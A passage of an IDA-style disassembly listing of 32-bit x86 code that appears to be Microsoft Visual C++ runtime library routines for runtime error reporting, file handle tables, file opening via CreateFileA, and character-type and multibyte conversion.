lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D386
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D41A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423E23: ; CODE XREF: sub_423D9C+40j
; sub_423D9C+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423DCF
; ---------------------------------------------------------------------------
loc_423E2E: ; CODE XREF: sub_423D9C+54j
mov eax, 0
jmp short loc_423E51
; ---------------------------------------------------------------------------
loc_423E35: ; CODE XREF: sub_423D9C+36j
mov eax, 1
jmp short loc_423E51
; ---------------------------------------------------------------------------
loc_423E3C: ; CODE XREF: sub_423D9C+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D386
add esp, 8
pop ebp
mov eax, 1
loc_423E51: ; CODE XREF: sub_423D9C+97j
; sub_423D9C+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423D9C endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D386
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423E74 proc near ; CODE XREF: sub_41E229+9p
; sub_41E24E+9p
mov eax, dword_4DE0A8
cmp eax, 1
jz short loc_423E8B
test eax, eax
jnz short locret_423EAC
cmp dword_43CFB4, 1
jnz short locret_423EAC
loc_423E8B: ; CODE XREF: sub_423E74+8j
push 0FCh
call sub_423EAD
mov eax, dword_4DE218
pop ecx
test eax, eax
jz short loc_423EA1
call eax
loc_423EA1: ; CODE XREF: sub_423E74+29j
push 0FFh
call sub_423EAD
pop ecx
locret_423EAC: ; CODE XREF: sub_423E74+Cj
; sub_423E74+15j
retn
sub_423E74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EAD proc near ; CODE XREF: sub_41E229+12p
; sub_41E24E+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43F8C8
loc_423EC0: ; CODE XREF: sub_423EAD+20j
cmp edx, [eax]
jz short loc_423ECF
add eax, 8
inc ecx
cmp eax, offset dword_43F958
jl short loc_423EC0
loc_423ECF: ; CODE XREF: sub_423EAD+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43F8C8[esi]
jnz loc_423FFD
mov eax, dword_4DE0A8
cmp eax, 1
jz loc_423FD7
test eax, eax
jnz short loc_423F00
cmp dword_43CFB4, 1
jz loc_423FD7
loc_423F00: ; CODE XREF: sub_423EAD+44j
cmp edx, 0FCh
jz loc_423FFD
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_428074 ; GetModuleFileNameA
test eax, eax
jnz short loc_423F37
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C680
pop ecx
pop ecx
loc_423F37: ; CODE XREF: sub_423EAD+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B7B0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423F7A
lea eax, [ebp+var_1A4]
push eax
call sub_41B7B0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BDC0
add esp, 10h
loc_423F7A: ; CODE XREF: sub_423EAD+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C680
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C690
lea eax, [ebp+var_A0]
push offset asc_428C18 ; "\n\n"
push eax
call sub_41C690
push off_43F8CC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C690
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_4256B1
add esp, 2Ch
pop edi
jmp short loc_423FFD
; ---------------------------------------------------------------------------
loc_423FD7: ; CODE XREF: sub_423EAD+3Cj
; sub_423EAD+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43F8CC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B7B0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_428034 ; GetStdHandle
push eax
call dword_4280E0 ; WriteFile
loc_423FFD: ; CODE XREF: sub_423EAD+2Ej
; sub_423EAD+59j ...
pop esi
leave
retn
sub_423EAD endp
; =============== S U B R O U T I N E =======================================
sub_424000 proc near ; CODE XREF: sub_42425E:loc_4243D6p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DE360
loc_42400F: ; CODE XREF: sub_424000+48j
mov eax, [ecx]
test eax, eax
jz short loc_42404C
lea edx, [eax+100h]
loc_42401B: ; CODE XREF: sub_424000+28j
cmp eax, edx
jnb short loc_42403B
test byte ptr [eax+4], 1
jz short loc_42402A
add eax, 8
jmp short loc_42401B
; ---------------------------------------------------------------------------
loc_42402A: ; CODE XREF: sub_424000+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42408F
loc_42403B: ; CODE XREF: sub_424000+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DE460
jl short loc_42400F
jmp short loc_42408F
; ---------------------------------------------------------------------------
loc_42404C: ; CODE XREF: sub_424000+13j
mov esi, 100h
push esi
call sub_41BCA5
test eax, eax
pop ecx
jz short loc_42408F
add dword_4DE460, 20h
lea ecx, ds:4DE360h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_424072: ; CODE XREF: sub_424000+88j
cmp eax, edx
jnb short loc_42408A
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_424072
; ---------------------------------------------------------------------------
loc_42408A: ; CODE XREF: sub_424000+74j
shl edi, 5
mov ebx, edi
loc_42408F: ; CODE XREF: sub_424000+39j
; sub_424000+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_424000 endp
; =============== S U B R O U T I N E =======================================
sub_424095 proc near ; CODE XREF: sub_42425E+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DE460
push edi
jnb short loc_4240F5
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DE360h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_4240F5
cmp dword_43CFB4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_4240EB
sub eax, 0
jz short loc_4240E2
dec eax
jz short loc_4240DD
dec eax
jnz short loc_4240EB
push ebx
push 0FFFFFFF4h
jmp short loc_4240E5
; ---------------------------------------------------------------------------
loc_4240DD: ; CODE XREF: sub_424095+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_4240E5
; ---------------------------------------------------------------------------
loc_4240E2: ; CODE XREF: sub_424095+3Bj
push ebx
push 0FFFFFFF6h
loc_4240E5: ; CODE XREF: sub_424095+46j
; sub_424095+4Bj
call dword_42802C ; SetStdHandle
loc_4240EB: ; CODE XREF: sub_424095+36j
; sub_424095+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_424109
; ---------------------------------------------------------------------------
loc_4240F5: ; CODE XREF: sub_424095+Cj
; sub_424095+28j
and dword_4DE030, 0
mov dword_4DE02C, 9
or eax, 0FFFFFFFFh
loc_424109: ; CODE XREF: sub_424095+5Ej
pop edi
pop esi
retn
sub_424095 endp
; =============== S U B R O U T I N E =======================================
sub_42410C proc near ; CODE XREF: sub_41E272+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DE460
push edi
jnb short loc_42416F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DE360h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42416F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42416F
cmp dword_43CFB4, 1
jnz short loc_424165
xor eax, eax
sub ecx, eax
jz short loc_42415C
dec ecx
jz short loc_424157
dec ecx
jnz short loc_424165
push eax
push 0FFFFFFF4h
jmp short loc_42415F
; ---------------------------------------------------------------------------
loc_424157: ; CODE XREF: sub_42410C+41j
push eax
push 0FFFFFFF5h
jmp short loc_42415F
; ---------------------------------------------------------------------------
loc_42415C: ; CODE XREF: sub_42410C+3Ej
push eax
push 0FFFFFFF6h
loc_42415F: ; CODE XREF: sub_42410C+49j
; sub_42410C+4Ej
call dword_42802C ; SetStdHandle
loc_424165: ; CODE XREF: sub_42410C+38j
; sub_42410C+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_424183
; ---------------------------------------------------------------------------
loc_42416F: ; CODE XREF: sub_42410C+Cj
; sub_42410C+2Aj ...
and dword_4DE030, 0
mov dword_4DE02C, 9
or eax, 0FFFFFFFFh
loc_424183: ; CODE XREF: sub_42410C+61j
pop edi
pop esi
retn
sub_42410C endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_41E272+32p
; sub_41E272+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DE460
jnb short loc_4241AE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DE360[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4241AE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4241AE: ; CODE XREF: sub_424186+Aj
; sub_424186+23j
and dword_4DE030, 0
mov dword_4DE02C, 9
or eax, 0FFFFFFFFh
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241C3 proc near ; CODE XREF: sub_41E350+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DE460
jnb short loc_42420C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DE360[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_42420C
push eax
call sub_424186
pop ecx
push eax
call dword_428028 ; FlushFileBuffers
test eax, eax
jnz short loc_424201
call dword_42808C ; RtlGetLastWin32Error
jmp short loc_424203
; ---------------------------------------------------------------------------
loc_424201: ; CODE XREF: sub_4241C3+34j
xor eax, eax
loc_424203: ; CODE XREF: sub_4241C3+3Cj
test eax, eax
jz short locret_424219
mov dword_4DE030, eax
loc_42420C: ; CODE XREF: sub_4241C3+Aj
; sub_4241C3+22j
mov dword_4DE02C, 9
or eax, 0FFFFFFFFh
locret_424219: ; CODE XREF: sub_4241C3+42j
retn
sub_4241C3 endp
; =============== S U B R O U T I N E =======================================
sub_42421A proc near ; CODE XREF: sub_41F843+32p
; sub_41FD8A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DE104
push 1000h
call sub_41BCA5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424243
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424254
; ---------------------------------------------------------------------------
loc_424243: ; CODE XREF: sub_42421A+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424254: ; CODE XREF: sub_42421A+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_42421A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42425E proc near ; CODE XREF: sub_41FB2D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424284
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42428F
; ---------------------------------------------------------------------------
loc_424284: ; CODE XREF: sub_42425E+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42428F: ; CODE XREF: sub_42425E+24j
mov eax, 8000h
test ecx, eax
jnz short loc_4242A9
test ch, 40h
jnz short loc_4242A5
cmp dword_4DE328, eax
jz short loc_4242A9
loc_4242A5: ; CODE XREF: sub_42425E+3Dj
or [ebp+var_1], 80h
loc_4242A9: ; CODE XREF: sub_42425E+38j
; sub_42425E+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242E1
dec eax
jz short loc_4242D8
dec eax
jz short loc_4242CF
loc_4242BA: ; CODE XREF: sub_42425E+9Fj
; sub_42425E+E8j ...
mov dword_4DE02C, 16h
mov dword_4DE030, ebx
jmp loc_4244F4
; ---------------------------------------------------------------------------
loc_4242CF: ; CODE XREF: sub_42425E+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242E8
; ---------------------------------------------------------------------------
loc_4242D8: ; CODE XREF: sub_42425E+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242E8
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42425E+54j
mov [ebp+var_C], 80000000h
loc_4242E8: ; CODE XREF: sub_42425E+78j
; sub_42425E+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_424316
cmp eax, 20h
jz short loc_42430D
cmp eax, 30h
jz short loc_424304
cmp eax, 40h
jnz short loc_4242BA
mov [ebp+var_10], esi
jmp short loc_424319
; ---------------------------------------------------------------------------
loc_424304: ; CODE XREF: sub_42425E+9Aj
mov [ebp+var_10], 2
jmp short loc_424319
; ---------------------------------------------------------------------------
loc_42430D: ; CODE XREF: sub_42425E+95j
mov [ebp+var_10], 1
jmp short loc_424319
; ---------------------------------------------------------------------------
loc_424316: ; CODE XREF: sub_42425E+90j
mov [ebp+var_10], ebx
loc_424319: ; CODE XREF: sub_42425E+A4j
; sub_42425E+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424363
jz short loc_42435E
cmp ecx, ebx
jz short loc_42435E
cmp ecx, edi
jz short loc_424355
cmp ecx, 200h
jz short loc_42437C
cmp ecx, 300h
jnz loc_4242BA
mov [ebp+var_8], 2
jmp short loc_42438C
; ---------------------------------------------------------------------------
loc_424355: ; CODE XREF: sub_42425E+D8j
mov [ebp+var_8], 4
jmp short loc_42438C
; ---------------------------------------------------------------------------
loc_42435E: ; CODE XREF: sub_42425E+D0j
; sub_42425E+D4j
mov [ebp+var_8], esi
jmp short loc_42438C
; ---------------------------------------------------------------------------
loc_424363: ; CODE XREF: sub_42425E+CEj
cmp ecx, 500h
jz short loc_424385
cmp ecx, 600h
jz short loc_42437C
cmp ecx, edx
jz short loc_424385
jmp loc_4242BA
; ---------------------------------------------------------------------------
loc_42437C: ; CODE XREF: sub_42425E+E0j
; sub_42425E+113j
mov [ebp+var_8], 5
jmp short loc_42438C
; ---------------------------------------------------------------------------
loc_424385: ; CODE XREF: sub_42425E+10Bj
; sub_42425E+117j
mov [ebp+var_8], 1
loc_42438C: ; CODE XREF: sub_42425E+F5j
; sub_42425E+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_4243AB
mov ecx, dword_4DE034
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_4243AB
push 1
pop esi
loc_4243AB: ; CODE XREF: sub_42425E+138j
; sub_42425E+148j
test al, 40h
jz short loc_4243B9
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_4243B9: ; CODE XREF: sub_42425E+14Fj
test ah, 10h
jz short loc_4243C0
or esi, edi
loc_4243C0: ; CODE XREF: sub_42425E+15Ej
test al, 20h
jz short loc_4243CC
or esi, 8000000h
jmp short loc_4243D6
; ---------------------------------------------------------------------------
loc_4243CC: ; CODE XREF: sub_42425E+164j
test al, 10h
jz short loc_4243D6
or esi, 10000000h
loc_4243D6: ; CODE XREF: sub_42425E+16Cj
; sub_42425E+170j
call sub_424000
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243F7
and dword_4DE030, 0
mov dword_4DE02C, 18h
jmp short loc_424435
; ---------------------------------------------------------------------------
loc_4243F7: ; CODE XREF: sub_42425E+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_4280EC ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_424428
push esi
call dword_428030 ; GetFileType
test eax, eax
jnz short loc_42443C
push esi
call dword_42806C ; CloseHandle
loc_424428: ; CODE XREF: sub_42425E+1B6j
call dword_42808C ; RtlGetLastWin32Error
push eax
call sub_420BDF
pop ecx
loc_424435: ; CODE XREF: sub_42425E+197j
mov eax, edi
jmp loc_424512
; ---------------------------------------------------------------------------
loc_42443C: ; CODE XREF: sub_42425E+1C1j
cmp eax, 2
jnz short loc_424447
or [ebp+var_1], 40h
jmp short loc_424450
; ---------------------------------------------------------------------------
loc_424447: ; CODE XREF: sub_42425E+1E1j
cmp eax, 3
jnz short loc_424450
or [ebp+var_1], 8
loc_424450: ; CODE XREF: sub_42425E+1E7j
; sub_42425E+1ECj
push esi
push ebx
call sub_424095
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DE360h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244F9
test al, 80h
jz short loc_4244F9
test byte ptr [ebp+arg_4], 2
jz short loc_4244F9
push 2
push 0FFFFFFFFh
push ebx
call sub_422FE4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_4244AE
cmp dword_4DE030, 83h
jz short loc_4244F9
jmp short loc_4244ED
; ---------------------------------------------------------------------------
loc_4244AE: ; CODE XREF: sub_42425E+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F91C
add esp, 0Ch
test eax, eax
jnz short loc_4244DB
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244DB
push [ebp+var_10]
push ebx
call sub_42573A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244ED
loc_4244DB: ; CODE XREF: sub_42425E+265j
; sub_42425E+26Bj
push 0
push 0
push ebx
call sub_422FE4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244F9
loc_4244ED: ; CODE XREF: sub_42425E+24Ej
; sub_42425E+27Bj
push ebx
call sub_41E272
pop ecx
loc_4244F4: ; CODE XREF: sub_42425E+6Cj
or eax, 0FFFFFFFFh
jmp short loc_424512
; ---------------------------------------------------------------------------
loc_4244F9: ; CODE XREF: sub_42425E+221j
; sub_42425E+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_424510
test byte ptr [ebp+arg_4], 8
jz short loc_424510
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_424510: ; CODE XREF: sub_42425E+29Fj
; sub_42425E+2A5j
mov eax, ebx
loc_424512: ; CODE XREF: sub_42425E+1D9j
; sub_42425E+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42425E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424517 proc near ; CODE XREF: sub_41FD15+5Ep
; sub_4208E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428C58
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DE220
xor ebx, ebx
cmp eax, ebx
jnz short loc_424586
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_428948
push esi
call dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_424564
mov eax, esi
jmp short loc_424581
; ---------------------------------------------------------------------------
loc_424564: ; CODE XREF: sub_424517+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CDB1C
push esi
push ebx
call dword_428024 ; GetStringTypeA
test eax, eax
jz loc_42464C
push 2
pop eax
loc_424581: ; CODE XREF: sub_424517+4Bj
mov dword_4DE220, eax
loc_424586: ; CODE XREF: sub_424517+2Fj
cmp eax, 2
jnz short loc_4245AF
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424597
mov eax, dword_4DE0EC
loc_424597: ; CODE XREF: sub_424517+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_428024 ; GetStringTypeA
jmp loc_42464E
; ---------------------------------------------------------------------------
loc_4245AF: ; CODE XREF: sub_424517+72j
cmp eax, 1
jnz loc_42464C
cmp [ebp+arg_10], ebx
jnz short loc_4245C5
mov eax, dword_4DE0FC
mov [ebp+arg_10], eax
loc_4245C5: ; CODE XREF: sub_424517+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_428184 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_42464C
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BD60
add esp, 0Ch
jmp short loc_42461B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_42461B: ; CODE XREF: sub_424517+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_42464C
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_428184 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_42464C
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_428020 ; GetStringTypeW
jmp short loc_42464E
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_424517+61j
; sub_424517+9Bj ...
xor eax, eax
loc_42464E: ; CODE XREF: sub_424517+93j
; sub_424517+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_424517 endp
; =============== S U B R O U T I N E =======================================
sub_424660 proc near ; CODE XREF: sub_41FD8A+61p
; sub_420C46+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DE460
jb short loc_42466F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424660+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DE360[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_424660 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424686 proc near ; CODE XREF: sub_41FE9F+2D4p
; sub_41FE9F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_424692
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424692: ; CODE XREF: sub_424686+8j
cmp dword_4DE0EC, 0
jnz short loc_4246AD
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246DF
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246AD: ; CODE XREF: sub_424686+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43F1F4
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DE0FC
call dword_428180 ; WideCharToMultiByte
test eax, eax
jz short loc_4246DF
cmp [ebp+arg_0], 0
jz short loc_4246EC
loc_4246DF: ; CODE XREF: sub_424686+1Ej
; sub_424686+51j
mov dword_4DE02C, 2Ah
or eax, 0FFFFFFFFh
loc_4246EC: ; CODE XREF: sub_424686+57j
pop ebp
retn
sub_424686 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246EE proc near ; CODE XREF: sub_420D10+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_424711
cmp [ebp+arg_8], ebx
jz short loc_424711
mov al, [esi]
cmp al, bl
jnz short loc_424717
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_424711
mov [eax], bx
loc_424711: ; CODE XREF: sub_4246EE+Cj
; sub_4246EE+11j ...
xor eax, eax
loc_424713: ; CODE XREF: sub_4246EE+42j
; sub_4246EE+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424717: ; CODE XREF: sub_4246EE+17j
cmp dword_4DE0EC, ebx
jnz short loc_424732
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42472D
movzx ax, al
mov [ecx], ax
loc_42472D: ; CODE XREF: sub_4246EE+36j
; sub_4246EE+C0j
push 1
pop eax
jmp short loc_424713
; ---------------------------------------------------------------------------
loc_424732: ; CODE XREF: sub_4246EE+2Fj
mov ecx, off_43EFE8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42478F
mov eax, dword_43F1F4
cmp eax, 1
jle short loc_424776
cmp [ebp+arg_8], eax
jl short loc_424780
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DE0FC
call dword_428184 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43F1F4
jnz short loc_424713
loc_424776: ; CODE XREF: sub_4246EE+5Cj
cmp [ebp+arg_8], eax
jb short loc_424780
cmp [esi+1], bl
jnz short loc_424713
loc_424780: ; CODE XREF: sub_4246EE+61j
; sub_4246EE+8Bj ...
mov dword_4DE02C, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_424713
; ---------------------------------------------------------------------------
loc_42478F: ; CODE XREF: sub_4246EE+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DE0FC
call dword_428184 ; MultiByteToWideChar
test eax, eax
jnz loc_42472D
jmp short loc_424780
sub_4246EE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247C0 proc near ; CODE XREF: sub_420D10+797p
; sub_420D10+7E7p
cmp cl, 40h
jnb short loc_4247DA
cmp cl, 20h
jnb short loc_4247D0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247D0: ; CODE XREF: sub_4247C0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247DA: ; CODE XREF: sub_4247C0+3j
xor eax, eax
xor edx, edx
retn
sub_4247C0 endp
; =============== S U B R O U T I N E =======================================
sub_4247DF proc near ; CODE XREF: sub_421786+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42482B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247FD
test al, 80h
jz short loc_42482B
test al, 2
jnz short loc_42482B
loc_4247FD: ; CODE XREF: sub_4247DF+14j
cmp dword ptr [esi+8], 0
jnz short loc_42480A
push esi
call sub_42421A
pop ecx
loc_42480A: ; CODE XREF: sub_4247DF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_42481A
cmp dword ptr [esi+4], 0
jnz short loc_42482B
inc eax
mov [esi], eax
loc_42481A: ; CODE XREF: sub_4247DF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424831
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424837
inc eax
mov [esi], eax
loc_42482B: ; CODE XREF: sub_4247DF+9j
; sub_4247DF+18j ...
or eax, 0FFFFFFFFh
loc_42482E: ; CODE XREF: sub_4247DF+6Cj
pop esi
pop ebx
retn
